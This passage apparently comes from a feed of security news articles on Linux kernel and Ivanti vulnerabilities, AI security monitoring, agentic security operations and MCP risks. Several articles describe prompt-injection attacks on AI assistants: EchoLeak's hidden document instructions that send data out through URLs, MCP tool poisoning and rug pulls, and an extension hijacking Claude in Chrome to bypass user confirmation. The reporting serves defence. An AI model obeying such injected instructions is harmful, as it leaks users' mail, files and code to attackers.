attack combines two separate vulnerabilities affecting the Linux IPsec Encapsulating Security Payload (ESP) subsystem (CVE-2026-43284) and the RxRPC networking protocol (CVE-2026-43500). “Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host,” the researchers said. Dirty Frag is the latest addition to a growing family of Linux kernel page-cache corruption vulnerabilities that includes Dirty Pipe (CVE-2022-0847) and the recently disclosed Copy Fail (CVE-2026-31431) bug. “This vulnerability is like both Copy Fail and Dirty Pipe in that they attack page caches in the system where in place crypto operations take place,” said Ben Ronallo, principal cybersecurity engineer at Black Duck. “Copy Fail, Dirty Pipe, and Dirty Frag are all exploiting the same root cause, but Dirty Frag is not limited to a single Linux subsystem, whereas Copy Fail is limited to only algif_aead and Dirty Pipe is limited to pipe_buffer.” Attackers are already exploiting Dirty Frag Microsoft warned that Dirty Frag is already being actively exploited in the wild, primarily as a post-compromise privilege escalation tool. The company said attackers are using the vulnerability after obtaining an initial foothold on vulnerable Linux systems, allowing them to elevate privileges from a low-level user account to full root access. “Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving ‘su’ is observed, and which may be indicative of techniques associated with either ‘Dirty Frag’ or ‘Copy Fail,’” the researchers said, adding that the attack began with SSH access, followed by the execution of a malicious ELF binary that quickly escalated privileges using ‘su.’ Su, short for switch user, is a command-line tool in Linux systems to switch from the current user to another, typically root, to execute commands with elevated privileges. Defenders urged to disable vulnerable kernel modules Users don’t yet have a complete fix. While the Linux Kernel Organization patched CVE-2026-43284 in a release on May 8, 2026, fixes for CVE-2026-43500 are awaited. With fixes still rolling out unevenly across Linux ecosystems, Microsoft and other researchers are urging organizations to apply temporary mitigations immediately. Recommended actions include disabling the vulnerable esp4, esp6, and rxrpc kernel modules if they are not operationally required. Microsoft additionally recommended reducing unnecessary local shell access, monitoring abnormal privilege escalation, and strengthening containerized workload controls to reduce opportunities for attackers to escalate into full system compromise. “Mitigation alone may not reverse changes already introduced through successful exploitation attempts,” the researchers warned, adding that an exploitation prior to mitigation can persist malicious modifications in memory or cached file content. View the full article

The security industry is experiencing déjà vu, and most teams haven’t recognized it yet. If you were in the trenches during the early 2000s, you remember the antivirus arms race. IT teams buried under signature updates. Configuration baselines checked obsessively. Patch cycles treated as the primary defense. Meanwhile, attackers pivoted. They wrote malware that matched no known signature and walked through the front door while the guards were checking outdated IDs. The posture-first approach revealed its limitations as the endpoint attack surface exploded. The industry faced visibility gaps and realized you cannot harden what you cannot fully see. The posture-first approach wasn’t wrong. It was incomplete. As the endpoint attack surface exploded, the industry realized that you cannot harden what you cannot fully see. Limited visibility hindered effective hardening, driving the shift toward behavioral detection as an operational necessity. AI security is at the beginning of that same arc. The teams that recognize it now get to skip the painful middle chapter. The endpoint era’s hard-won lesson The first generation of endpoint security asked answerable questions: Is antivirus installed? Are patches current? Does the configuration match the baseline? For a while, answering those questions felt like enough. Then the surface expanded. Laptops left the perimeter. Zero-days made signatures irrelevant at the moment they mattered most. The industry responded by building tools that stopped asking “does this file look bad?” and started asking “what is this process actually doing?”. That reframe changed everything. Instead of matching against lists of known bad, defenders began watching process trees, API call sequences, lateral movement patterns and privilege escalation chains. Behavior became the signal. Posture checks tell you what should be true. Behavioral detection tells you what is actually happening. Most AI security is still at the posture phase Look at where most organizations are with AI security today. Model cards, AI-specific SBOMs, input and output filters, prompt injection guardrails and access controls around model APIs. These are valuable controls, but they reflect a posture-based approach. To truly enhance security, organizations must recognize the importance of shifting to behavior-based strategies that monitor actual system actions. They’re brittle in the same ways, too. The AI surface is expanding faster than any team can harden it: open-source LLMs deployed without procurement review, third-party AI APIs embedded inside SaaS tools, autonomous agents granted broad system access, RAG pipelines sitting on top of sensitive internal data. The phrase “shadow AI” exists for the same reason “shadow IT” did before it. People adopt capabilities faster than policy can follow. The OWASP Top 10 for Agentic Applications 2026 is a welcome and necessary framework. But read it carefully and you’ll notice that most of its controls are posture-oriented: constrain scope, validate inputs, enforce least privilege. These are the right first steps, but they’re not a complete strategy. We know this because we’ve already lived through a version of this story. The core tension is identical to what endpoint defenders faced two decades ago. You can’t patch your way out of a system you don’t fully control. With AI, the surface is more dynamic, more opaque and more deeply embedded in business logic than endpoints ever were. An AI agent doesn’t just sit on a device. It calls APIs, retrieves internal data, takes actions across systems and generates outputs that ripple downstream. The blast radius of a compromised or misbehaving agent is a problem entirely different from that of a compromised laptop. Why behavioral detection becomes the lever While you may not control every AI surface, monitoring what these systems actually do empowers your team to stay ahead of threats and feel capable in managing AI risks. Behavioral signals are already being generated in environments that aren’t instrumented to catch them. This includes unusual data access patterns from a RAG pipeline, prompt injection artifacts surfacing in model outputs, unexpected tool calls from an agent operating outside its intended scope, token velocity anomalies pointing to automated abuse, and output drift that suggests something upstream has changed. None of these is hypothetical. They’re observable today. The parallel to EDR is direct: just as endpoint behavioral tools watch process trees and API call chains, AI behavioral monitoring watches action sequences, what data was retrieved, what tools were invoked, what was generated and in what order. A single anomalous output is noise. A sequence of anomalous actions is worth investigating. This is what gives SOC teams something to operate on. Posture is an audit checkpoint. Behavior gives you a triage queue. There’s a real difference between telling an analyst “This agent has broad permissions” and telling them, “This agent queried sensitive documents, formatted the output and initiated an outbound connection in a sequence it’s never run before.” The first is a finding. The second is an incident. A concrete path forward The endpoint era offers a practical sequence, not just a cautionary tale. Don’t abandon posture work. It’s table stakes, not a strategy. Keep the model inventory current, enforce access controls and implement the OWASP guardrails. Just don’t let posture become the ceiling of your program. Start logging AI system behavior now, even if you’re not fully analyzing it yet. Data debt compounds and having behavioral history is essential for future detection logic. Building a behavioral baseline early helps close gaps and prepares your organization for proactive AI security measures. Prioritize your highest-agency surfaces first ー autonomous agents with broad system access, RAG pipelines connected to sensitive internal data, any LLM feature that faces external users or triggers downstream automations ー these are your highest-risk surfaces and the right place to start. Think in sequences, not just single events. That’s the core lesson EDR already taught. An unusual API call is interesting, but an agent retrieving sensitive documents, formatting the output and making an unexpected outbound call forms a story. The sequence of actions provides the true signal for detection. Finally, close the gap between your AI security program and your SOC. Most AI security work today sits inside the AI governance function or the data team. That’s the wrong home for behavioral detection. The SOC has the triage muscle, the incident response playbooks and the tool integrations. Getting AI behavioral telemetry in front of SOC analysts is partly a technology problem. It’s mostly an organizational one. The signal is already there The endpoint security story didn’t end badly. It matured. The teams that invested in behavioral telemetry before they needed it built programs that held up when the threat model shifted. Those that doubled down on static controls had to rebuild from scratch when reality caught up with them. AI behavior is already generating signals in your environment. The question isn’t whether the shift from posture to behavioral detection will happen in AI security. It will, for the same reasons it happened at the endpoint. The question is whether your team will be ready to act on those signals when it counts. The window is open. It won’t stay that way. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

At DXC Technology, global CISO Mike Baker has established one of the largest agentic security operation centers (SOCs) in the world. To upskill the workforce as part of this journey, he embedded experts from agentic SOC vendor 7AI within his security teams. When Damon McDougald, global cybersecurity services lead at Accenture, wanted to retrain his team for agentic AI, the first thing he did was immerse himself in the technology. He signed up for an Anthropic boot camp, took courses to familiarize himself with the technology, then sent members of his team to take bootcamp classes as well. John White, an early adopter of agentic AI when he was CISO at Virgin Atlantic, tells CSO that he purposely gave a new agentic AI tool to a junior staffer on his Virgin Atlantic team, provided the staffer with minimal direction, and told him to go off and play with the tool. “Within a couple of days, he was building his own workflows with no experience in the tooling at all,” says White, who recently moved from Virgin Atlantic to become field CISO at Torq. While there are many paths to retraining security teams for agentic AI — from hands-on training to hands-off experimentation — there are several broad principles that CISOs should follow. Embrace the agentic imperative The first principle by which CISOs need to operate when it comes to future-proofing their SOCs is that agentic AI, the reality of which might not yet match expectations, will be an essential part of that transformation. “Every security leader needs to start planning for an agentic future because our adversaries will be operating at machine speed and human-based processes, limited by our own biology, will not be able to scale to the needs of the future,” Baker tells CSO. White adds, “The big risk is not adapting fast enough. Lots of CISOs are waiting until the perfect solution comes along or the platform that does everything. That itself introduces risk in the organization. Inaction is a risk.” Chris Cochran, field CISO and vice president of AI security at the SANS Institute, tells CSO, “I just hosted a dinner with 30 security execs and half were self-described AI skeptics. The problem is that hesitation is a strategic liability. Adversaries are leveraging AI aggressively and continuously. Security teams that aren’t moving at the same pace are falling behind.” Set the tone from the top The second principle for reskilling security teams for agentic AI is all about leadership. As Baker says, CISOs must set the tone. That means building a culture of rapid experimentation, iteration, and innovation. “Fail fast and move forward,” he says. A key aspect of CISO leadership is understanding the needs of the business, Baker adds. “The challenge of re-disciplining security teams and the executives that run those teams is highly dependent on their ability to lean into what the business needs, to become business enablers by embracing AI, and all that it has to offer,” he notes. “The bigger reskilling is security’s ability to run at the speed of business and enable the business to transform, leveraging AI in a safe and secure manner.” Making the most of agentic AI for cybersecurity is as much a mindset change as it is a technological one, White adds. “You have to articulate as a leader how things are going to change, and rewire the mindset to the fact that you don’t have to do everything yourself,” he explains. “The majority of execution is going to be done agentically, roles move into defining outcomes, designing workflows, being able to articulate intent through natural language, and having a bit of judgment around the outcomes.” Respect resistance but work to overcome it As with any technology shift, resistance to change needs to be addressed, particularly with a technology that threatens to usurp security roles — specifically level 1 and level 2 SOC analysts. “There’s real cultural resistance in the security community. Some operators distrust AI outputs. Others don’t want to change workflows that have worked for years,” says Cochran. He argues that agentic AI will actually create new roles: “What does emerge are genuinely new specializations: AI security (protecting AI systems from attacks), AI safety (ensuring that agents behave reliably and within boundaries), and AI governance.” White says that at Virgin Atlantic “there was some nervousness to begin with; people think their roles will get taken by AI and that’s not the case.” That junior staffer who went off to experiment with the Torq tool came back and announced he wanted to change roles and become an automation workflow specialist. “It shows how quickly someone’s mindset can change,” White says. “There is always somewhat of a resistance around change,” says DXC’s Baker. “We had to go through a growing process and a training process. But in a short amount of time people on the team have that ‘aha’ moment. We have been able to reskill our humans to different value-add tasks. We’re able to do amazing things with humans in terms of redeploying them; it’s almost like supercharging their careers.” Get hands on and intentional It’s critical that CISOs carve out time for overworked and overstressed security practitioners to play with agentic tools in a secure sandbox setting. DXC offers a playground called LabX, where security practitioners can experiment with agentic AI in a safe and governed manner, Baker says. To help level up DXC staff, Baker also established an AI training track on the company’s learning management platform, encouraging cybersecurity staff to take time to not only experiment but also more formally develop their skills. Accenture’s McDougald points out that Anthropic training courses offer their own sandbox environments where security pros can enter prompts, analyze responses, then refine and tune the agentic output. He also advises CISOs to create formal training plans and free up security practitioners to ensure they have the time necessary to get their feet wet with the new technology. Emphasize governance and humans in the loop Agentic AI can do amazing things, but “practitioners need to understand that AI is non-deterministic. It can be wrong. It can drift. It can be unintentionally deceptive. That means training can’t just cover how to use AI; it also has to cover how AI can fail, and how to catch it when it does,” SANS’ Cochran says. “The core principle is: Give AI room to scale, but never fully remove the human.” He recommends that security teams build escalation paths, define override authorities, establish audit trails, and create regular review cycles where humans evaluate agentic performance. At DXC, Baker says that agents have taken over basic triage and investigation of alerts but there’s still a human at L3, who receives analysis from the AI agents. “We always have a human in the loop,” he says. Similarly, Accenture’s McDougald says he has deployed agents at L1 and L2 but “it still has to be human-led.” Security professionals need to continually vet agentic outputs and provide feedback in an ongoing iterative process. Rethink the cyber organization In a SOC where L1 and L2 functions are agentic, organizational changes will necessarily occur. “You have to appreciate that this is an organizational change as much as a technology change,” says White. Agentic AI will have an impact on “the way we design teams, the way we manage people, the way that roles evolve,” he says. The traditional career ladder of moving up the tiers no longer applies when entry-level roles are agentic. “New people coming to security are going to have to take a different route,” he notes. White adds that traditional security teams have been divided into disciplines and silos, but “those roles now start to move around, merge, and become more of a holistic capability than a siloed one.” Foster skills that optimize human-AI collaboration The introduction of agentic systems will necessarily transform cyber’s skillset. Josh Taylor, lead cybersecurity analyst at Fortra, says, “The SOC analyst’s job has always been about processing signals, triaging alerts, correlating events, escalation. Agentic AI doesn’t eliminate that work; it will relocate an analyst from inside the process to above it. The fundamental reskilling challenge won’t be as technical; it will be cognitive.” He adds, “When an agent triages 200 alerts and presents five for human review, the analyst needs to assess whether the agent’s reasoning was sound. CISOs should invest in training that builds ‘model intuition,’ the ability to recognize when an agent’s output feels right but is structurally wrong.” CISOs should also emphasize training that teaches analysts to set policies and define constraints on what agents are allowed or not allowed to do, such as block production traffic or send external communication, Taylor says. “SOC teams need to build decision boundaries the same way they build incident response playbooks.” White adds, “The beauty of agentic AI is that all you need is a well-articulated statement of what you’re trying to achieve, and the agent will do the rest for you. This type of intent-driven, automated, AI-based engineering is available now.” But humans need to evaluate whether the new workflow or process achieved the desired goal, deliver the value that was expected, and they need to understand how to go back to the agent, refine the prompts and achieve a more favorable outcome, he says. Reimagine your operating model With 120,000 end users, Baker understood that his security teams were buried in alerts, data, and telemetry. Today, his tier 1 and tier 2 SOC analyst roles are agentic, but the SOC is only the beginning. His roadmap includes agentic AI playing a role in vulnerability management, penetration testing, patching, and other security functions. White’s roadmap takes a similar path. “I would imagine that we will be leveraging AI more and more.” His agentic priority list includes vulnerability management, pen testing, patching, and compliance. White says the benefits of an agentic SOC extend beyond technology to the human side of security. “The best leaders will be ones who have evolved the target operating model. In doing so, it’s going to make you have a happier workforce. Your SOC is going to look like a calm place, not chaos with alerts going everywhere.” View the full article

We find ourselves teetering upon a precipice of our own unwitting construction, and the vertiginous depth of our collective negligence ought to give every security practitioner profound pause. In our headlong rush to deploy AI agents across enterprise environments, we have erected an infrastructure so thoroughly unfortified that it beggars belief. The Model Context Protocol, which Anthropic unveiled in November 2024 as the connective tissue binding large language models to external tools, has proliferated with breathtaking celerity. What has conspicuously failed to keep pace is any semblance of security discipline. The chasm between adoption velocity and security maturation grows more perilous with each passing deployment. Knostic’s security researchers quantified the magnitude of our predicament last summer. Their methodical internet-wide reconnaissance unearthed 1,862 MCP servers nakedly exposed to public access. When they manually verified a sample of 119 instances, the results defied credulity: every single server permitted unauthenticated access to internal tool listings. Not a preponderance. Not ninety percent. The entirety. Organizations are effectively broadcasting comprehensive inventories of their AI capabilities to anyone sufficiently perspicacious to enumerate them, without demanding so much as a perfunctory password challenge. The implications penetrate far deeper than mere exposure statistics intimate. These are not dormant test servers or derelict development instances languishing in forgotten corners of corporate infrastructure. Knostic’s forensic analysis revealed production systems with write access to financial databases, social media accounts, and customer relationship management platforms. Enterprises have tethered their most consequential operational capabilities to AI agents and subsequently neglected to secure the ingress. The insouciance is breathtaking. A catalogue of catastrophe The theoretical has transmuted into the operational with dispiriting alacrity. EchoLeak (CVE-2025-32711) represents the apotheosis of what security researchers had long dreaded but harbored faint hope might remain perpetually theoretical. Aim Security’s June 2025 disclosure documented a zero-click exploit of such elegance that it almost inspires grudging admiration. Adversaries secrete malicious prompt instructions within the detritus of quotidian business documents: speaker notes that no human eye ever scrutinizes, comments that no reviewer ever examines, metadata fields that exist in perpetual obscurity. When Microsoft 365 Copilot ingests these poisoned documents, it executes the occluded instructions with mechanical obedience, siphoning sensitive contextual data to attacker-controlled endpoints. The victim performs no action. Receives no admonition. Suffers complete compromise. The attack concatenation warrants meticulous examination. An adversary confects a document harboring hidden text instructing the AI to extract the most sensitive information from the user’s operational context and encode it within an outbound URL. The document arrives via electronic mail or shared repository. The user opens it, or perhaps merely previews it in passing. The AI assistant, inexorably helpful, processes the content and dutifully executes the embedded directives. Sensitive data traverses the network masquerading as an innocuous image request. Exfiltration accomplished. Detection probability approximating zero. The mcp-remote debacle, catalogued as CVE-2025-6514, illuminates the supply chain dimension of this burgeoning crisis with unsparing clarity. JFrog’s July 2025 disclosure revealed that this package, downloaded north of 437,000 times and prominently featured in integration documentation from Cloudflare, Hugging Face, and Auth0, harbored a critical command injection vulnerability. The vulnerability exploited improper sanitization of OAuth flow parameters, enabling attackers to inject shell commands through the authorization endpoint field. On Windows systems, PowerShell subexpression evaluation amplified the attack surface exponentially, granting adversaries complete system subjugation through a single malicious MCP server connection. The epistemological chasm What renders MCP vulnerabilities particularly vexatious is the fundamental asymmetry they exploit between machine cognition and human oversight. Tool poisoning attacks insert malevolent instructions into tool metadata that LLMs process with complete fidelity but that remain utterly invisible to human operators. The machine perceives everything; its ostensible supervisors perceive nothing. We have unwittingly constructed systems where the attack surface exists in a cognitive dimension our monitoring instrumentation cannot observe. This represents a fundamental rupture in the supervisory relationship between humans and their AI auxiliaries, creating exploitation opportunities that traditional security controls simply cannot address. Rug pull attacks weaponize temporality itself against defenders. An MCP server presents pristine, innocuous tool definitions during initial security vetting, earning approbation and establishing trust. Subsequently, those definitions undergo surreptitious transmutation, incorporating malicious functionality where none previously existed. Because most MCP clients remain quiescent when definitions change, attackers corrupt previously sanctioned tools with impunity. The temporal gap between approval and exploitation renders traditional point-in-time security assessments wholly nugatory. Cross-server contamination compounds these perils multiplicatively. When multiple MCP servers connect to the same LLM context, a malicious server can inject instructions that influence the agent’s comportment toward trusted servers. Authentication credentials intended for legitimate services get redirected through adversary-controlled channels. The trust relationships we painstakingly constructed metamorphose into attack vectors themselves. Constructing defenses that actually work Conventional security apparatus proves woefully inadequate against these sui generis threat vectors. What is required is a purpose-built framework acknowledging MCP’s distinctive vulnerabilities with commensurate architectural rigor. The Cloud Security Alliance’s Agentic Trust Framework, published in February 2026, articulates foundational principles we so desperately require: AI agents demand identity governance as rigorous as human users. No implicit trust. Authentication and authorization on every interaction without exception. Strict separation between reasoning and action. These principles must be transmuted into operational controls before the breach headlines proliferate beyond containment. Sunil Gentyala The architecture diagram illustrates a stratified defense model operationalizing these principles with methodological rigor. The Cryptographic Verification Layer establishes server authenticity through X.509 certificate validation and continuous capability attestation; any definitional mutation produces hash discrepancies triggering mandatory re-authorization, neutralizing rug pull attacks at their provenance. The Dynamic Integrity Monitoring System employs semantic fingerprinting to detect definitional drift with granular precision, utilizing isolation forest algorithms to identify anomalous invocation patterns indicative of compromise. The Supply Chain Validation Engine addresses tool poisoning’s semantic nature through MCP-specific scanning parsing tool descriptions for adversarial prompt patterns and Unicode obfuscation techniques that evade cursory inspection. The Policy Enforcement Point implements fine-grained authorization for every tool invocation, incorporating principal identity, resource sensitivity, environmental context, and real-time risk scoring. Coarse-grained session permissions yield to continuous, context-aware evaluation. The imperative for immediate action Security teams must act with alacrity and dispatch. Enforce authentication on every MCP server without exception or equivocation. Segment networks to eliminate direct internet exposure categorically. Institute immutable versioning with cryptographic signing for all tool definitions. Deploy behavioral monitoring capable of detecting anomalous invocation patterns indicative of compromise or misuse. Mandate human-in-the-loop approval for sensitive operations rather than treating the specification’s recommendations as merely aspirational guidance. February 2026 scanning data proffers cold comfort to those seeking reassurance. Unauthenticated server percentages have declined proportionally to 41 percent. Progress, ostensibly. But absolute exposure has increased tenfold as adoption accelerates with breakneck velocity. We are hemorrhaging ground faster than we are gaining it. The adversary has recognized the opportunity before us with predatory acuity, and honeypot telemetry confirms active reconnaissance against MCP infrastructure from sophisticated threat actors across multiple geographies. Your AI infrastructure represents either an invaluable asset or a catastrophic liability. The adversary has rendered their assessment with cold-eyed clarity. The window for meaningful action contracts with each passing week, and the cost of inaction compounds exponentially. The framework exists. The architecture is implementable. What remains is organizational will. Have you made yours? This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

The five new vulnerabilities discovered in Ivanti’s on-premises mobile endpoint management solution are a “classic example of the legacy trap” that CSOs must avoid, says an expert. “Patch today to survive the weekend,” said Robert Enderle of the Enderle Group, “but start planning your exit from legacy MDM as soon as possible.” He was commenting on an advisory issued Thursday by Ivanti about the discovery of five holes in its Endpoint Manager Mobile (EPMM) suite. Updates for all are available. The flaws are serious enough that the US Cybersecurity and Infrastructure Security Agency (CISA) added one of the vulnerabilities to its Known Exploited Vulnerabilities Catalog because it’s being actively exploited. “This isn’t an isolated incident,” Enderle added. “It’s a continuation of the cycle we saw in January, suggesting an underlying architecture struggling to withstand modern threats.” A “very limited number of customers” have been exploited through one of the vulnerabilities revealed this week, CVE-2026-6973. An improper input validation in EPMM before versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 allows a remotely authenticated user with administrative access to perform remote code execution. Johannes Ullrich, dean of research at the SANS Institute, told us that Ivanti is right to point out that exploitation of this hole does require administrative access, and that attackers may have obtained the necessary credentials through exploits of prior vulnerabilities. Rotating credentials is critical after patching an already exploited vulnerability, he said. “Even if no obvious signs of compromise are noted, it is hard to impossible to exclude a compromise. Best to rotate credentials even if no indicator of compromise was found.” Ullrich also pointed out that in a blog post accompanying the advisory, Ivanti stated that it is using AI tools to proactively identify new vulnerabilities. “This may result in more vulnerability reports in the future,” he said. “I applaud Ivanti’s openness and willingness to publicly enumerate the vulnerabilities as they are being fixed. It is important for organizations using the Ivanti product (or any product) to understand the risks of not patching or of delaying the patch.” The four other flaws are: CVE-2026-5787, with a CVSS score of 8.9, an improper certificate validation that allows a remote and unauthenticated attacker to impersonate registered Ivanti Sentry security gateway hosts and obtain valid CA-signed client certificates; CVE-2026-5786, with a CVSS score of 8.8, an improper access control vulnerability that allows a remote authenticated attacker to gain administrative access; CVE-2026-5788, an improper input validation hole that allows a remotely authenticated user with admin privileges to execute code remotely. Ullrich said he is “surprised that Ivanti assigned such a low CVSS score, 7.0, to this vulnerability. The description sounds more severe, but there are insufficient details to determine how Ivanti evaluated this vulnerability”; CVE-2026-7821, an improper certificate validation vulnerability that allows a remote unauthenticated attacker to enroll a device belonging to a restricted set of unenrolled devices, leading to the disclosure of information about the affected EPMM appliance. Sentry doesn’t contain any of these vulnerabilities. However Ivanti admins should be aware that if they add a new Sentry server after EPMM has been updated, they will need to use one of the new Sentry versions (10.4.2, 10.5.1 or 10.6.1). To respond to the five new vulnerabilities in EPMM, Enderle said that CSOs must update to the resolved versions 12.6.1.1+ immediately, and rotate all administrative credentials. That’s because attackers who executed previous exploits may already hold the keys to bypass these fixes. “Beyond the immediate patch,” he added, “verify that Apple Device Enrolment is disabled if not in use, and begin a strategic evaluation of whether these aging on-premises appliances still fit a Zero Trust model.” View the full article

Anthropic Claude’s Chrome browser extension, known as Claude in Chrome, has a bug that can allow other malicious extensions to hijack it, compromising trusted AI workflows. Researchers at LayerX Security have warned that Claude’s overly trusted browser communication flows can be abused to inject scripts that can potentially hijack the assistant’s capabilities and manipulate browsing sessions. LayerX is calling the flaw “ClaudeBleed.” “LayerX reported the flaw to Anthropic,” LayerX researcher Aviad Gispan said in a blog post. “Anthropic replied that they were already aware of the issue and that it would be fixed in the next version of the extension.” However, Gispan added, Anthropic’s fix was partial, and the flaw can still be exploited. The post demonstrated different ways the flaw can still be exploited, including sending a file from a Google Drive folder to an outsider, sending an email on behalf of a remote attacker, stealing code from a private repository on GitHub, and summarizing emails and sending them to an external user. “ClaudeBleed is a useful demonstration of why monitoring AI agents at the prompt layer is fundamentally insufficient,” said Ax Sharma, head of research at Manifold Security. “The most sophisticated part of this attack isn’t the injection, but that the agent’s perceived environment was manipulated to produce actions that looked legitimate from the inside. That’s the class of threat the industry needs to be building defenses for.” Maliciously injected instructions can lead to attacks Gispan said the issue is an instruction in the extensions’ code that allows arbitrary scripts running in the origin browser to communicate with Claude’s LLM. But there is nothing in the code that checks who is running the script. This potentially allows any extension to invoke a malicious script, without requiring any special permissions, that can issue commands to the Claude extension. “The extension exposes a privileged message interface to the main claude.ai LLM via externally_connectable, which is a manifest setting that defines which external websites or extensions are allowed to communicate with your extension,” Gispan explained. “It trusts the origin (claude.ai) rather than the actual execution context.” As a result, even a “minimal” extension can execute arbitrary prompts, breach Claude’s LLM guardrails, bypass user confirmation flows, manipulate Claude’s perception of the UI, and perform sensitive cross-site actions (Gmail, Google Drive, GitHub). “This vulnerability effectively breaks Chrome’s extension security model by allowing a zero-permission extension to inherit the capabilities of a trusted AI assistant,” Gispan pointed out. Anthropic fixed the issue, but Anthropic released an updated extension version (version 1.0.70) on May 6 with a patch and a catch. In its update, Gispan explained, Anthropic added a layer of internal security checks to prevent extensions from executing remote commands, but the checks only applied to “standard” mode. By switching the extension to “privileged” mode, which does not require explicit user permission or notification, the exposure could be brought back, and commands can be executed just as before. Anthropic had reportedly promised an update that would remove the responsible message handler. “A fix that removes the affected message handler has been merged and will ship in an upcoming extension release,” Gispan said, citing a communication from the company. But the fix fell short on the promise. “Contrary to their initial response, the externally_connectable message handler was not removed, but Anthropic did introduce additional approval flows for privileged actions,“ he added. Anthropic did not immediately respond to CSO’s request for comments. LayerX recommended several mitigation measures, including introducing extension-to-page authentication tokens such as signed requests, restricting “externally_connectable” permissions to trusted extension IDs instead of origins, and binding user approvals to specific actions and one-time tokens. View the full article

Model Context Protocol (MCP) is the connective tissue of modern AI tooling and has quietly become one of the most significant blind spots in modern security programs. Like shadow IT before it, shadow AI — especially as it relates to MCP risk — introduces a new class of exposures that security teams lack adequate tooling to see and address. Integrating MCP risks into a Continuous Threat Exposure Management (CTEM) program can help security teams keep up by providing a structured methodology and the operational agility needed to surface MCP exposures before attackers do. Security has always been a race between how fast the attack surface grows and how fast defenders can see it. Vulnerability Management was the first serious attempt to run that race systematically. It worked until the environment got too complex and security teams found themselves prioritizing what was loudest over what was most dangerous. CTEM is built on the same core instinct to find exposures before attackers do but better reflects the business and technical realities of modern IT environments. Most mature security programs already have the bones of it. The question with MCP isn’t whether CTEM applies. It’s whether the scope has been extended to include it. Introduced by Anthropic in late 2024, MCP acts as the plugin architecture for agentic AI. If your team isn’t scanning for, mapping or monitoring for MCP risks, you have a blind spot that grows every time a developer installs a new tool. MCP takes “old” risks such as supply chain attacks, hardcoded credentials, privilege escalation, remote code execution and makes them new again. Here’s how: Shadow AI: You can’t secure what you can’t see In 2025, researchers documented the first confirmed malicious MCP server in the wild. The vehicle was a npm package called postmark-mcp, a tool that helped developers integrate AI assistants with the Postmark email service. The attacker was patient. They published fifteen legitimate versions over time, built up roughly 1,500 weekly downloads and earned genuine trust in the developer community. Then a version shipped with a single injected line of code that BCC’d every single outgoing email to an external address. Around 300 organizations were affected before anyone noticed. Password resets, invoices, internal memos, confidential documents — exfiltrated for weeks without tripping a single alert. The tactic mirrors the SolarWinds playbook: Establish legitimacy first, corrupt later and count on the fact that once something is trusted, it stops being scrutinized. Enterprises have accumulated layers of governance to manage third-party software risk — procurement reviews, vendor assessments, security signoffs. The MCP ecosystem has none of that yet. Developers are pulling servers from npm the same way they pull any open-source dependency: Fast, on faith, without much thought about what happens when the tool connects to their AI agent and, through it, to internal data. That’s not a criticism; it’s a visibility problem. Visibility problems don’t get solved by policy. They get solved by knowing what’s in your environment. Keys under the doormat: Hardcoded credentials in AI configurations In 2023, information-stealing malware harvested more than 225,000 ChatGPT credentials. Many came bundled with API keys developers had hardcoded directly into configuration files — not out of negligence, but out of the same logic that has always driven security shortcuts: It’s faster, it works and the consequences feel abstract until they aren’t. The more instructive scenario is simpler: A developer accidentally commits a production .env file containing API keys for OpenAI, Stripe, AWS and SendGrid. Automated bots find it within hours. Fraudulent cloud charges follow. No sophisticated attacker required — just a mistake that sat in a repository long enough for a scanner to find it. MCP makes this structurally worse because AI agents require credentials to function. They need keys for the LLM, keys for cloud services and keys for third-party integrations. Those keys have to go somewhere the agent can reach them: Environment variables in config files, plain text in markdown instruction files or hardcoded into the server definition itself. All of it is a static plaintext target. Hackers don’t need to break in if they can just log in. The question is whether your scanning programs have been pointed at MCP server configurations, the markdown context files AI agents consume and the environment variable blocks where credentials live. Most haven’t been. ‘God mode’: When over-privileged AI agents get compromised Running AI agents with elevated privileges is common. In 2025, researchers needed two CVEs just to start making the case. CVE-2025-6514, a remote code execution flaw in mcp-remote scoring 9.6 on the CVSS scale, was the first demonstrated full RCE on a client system through an MCP connection — triggered simply by connecting to an untrusted server. CVE-2025-49596, affecting Anthropic’s own MCP Inspector, scored 9.4 and achieved the same outcome through a chained browser exploit, giving attackers complete access to developer machines. Beyond the CVEs, researchers found MCP servers configured with elevated privilege commands — sudo, doas, runas — baked in from the start because admin rights made development easier and nobody tightened them afterward. This pattern was documented as part of the IDEsaster research by security researcher Ari Marzouk, which catalogued over 30 vulnerabilities across Cursor, GitHub Copilot, Windsurf and others. AI IDEs had effectively removed the base software from their own threat model — existing features were treated as safe because they’d been there for years, until an autonomous agent arrived that could invoke them without asking. If an agent in your network gets compromised, the question isn’t whether it can exfiltrate data — it’s whether it has permission to wipe a server or install ransomware. That’s a configuration question, and most organizations don’t know the answer. How CTEM addresses this — and what it takes to get there CTEM is the right framework not because it was designed with MCP in mind, but because it was designed for attack surfaces that expand faster than security teams can track, the five phases each have direct application here: Scoping requires an honest admission: The AI toolchain isn’t in scope yet, and it needs to be. That means explicitly defining developer workstations, AI coding environments and MCP configurations as assets worth protecting. It also requires early alignment with engineering leadership, because the remediation work lands on development teams and they need to understand the risk before they’ll engage. Discovery follows. MCP servers don’t appear in traditional asset inventories. They live in developer workstations, AI tool configurations and npm packages installed in twenty seconds — without a change ticket. Finding them means actively enumerating configured MCP servers and detecting changes between scans. A server that updates silently is the postmark-mcp scenario replaying itself. Prioritization means resisting the urge to flag everything and work through it linearly. The better frame is attacker impact: What can someone actually do from this exposure, and where does it connect? Risk signals like network-based transports, API keys in environment variables or instruction files, and elevated privilege commands in server definitions help separate serious problems from lower-urgency ones. Validation tests whether flagged exposures are actually exploitable in context, using techniques like attack path mapping and breach and attack simulation to confirm what’s real risk versus theoretical. Mobilization is harder than the technical work. Developers experience MCP servers as infrastructure that makes their jobs faster, not as a security concern. Talking about security with developers goes better when they’re concrete: Here’s the tool, here’s what it can access, here’s the attack path. Specificity converts advice into a remediation ticket that actually gets closed. None of this requires a new program, just an extension of an existing one. Security caught up with cloud. It’s catching up with AI now. The only question is whether your program gets there before an attacker does. This article is published as part of the Foundry Expert Contributor Network. Want to join? View the full article

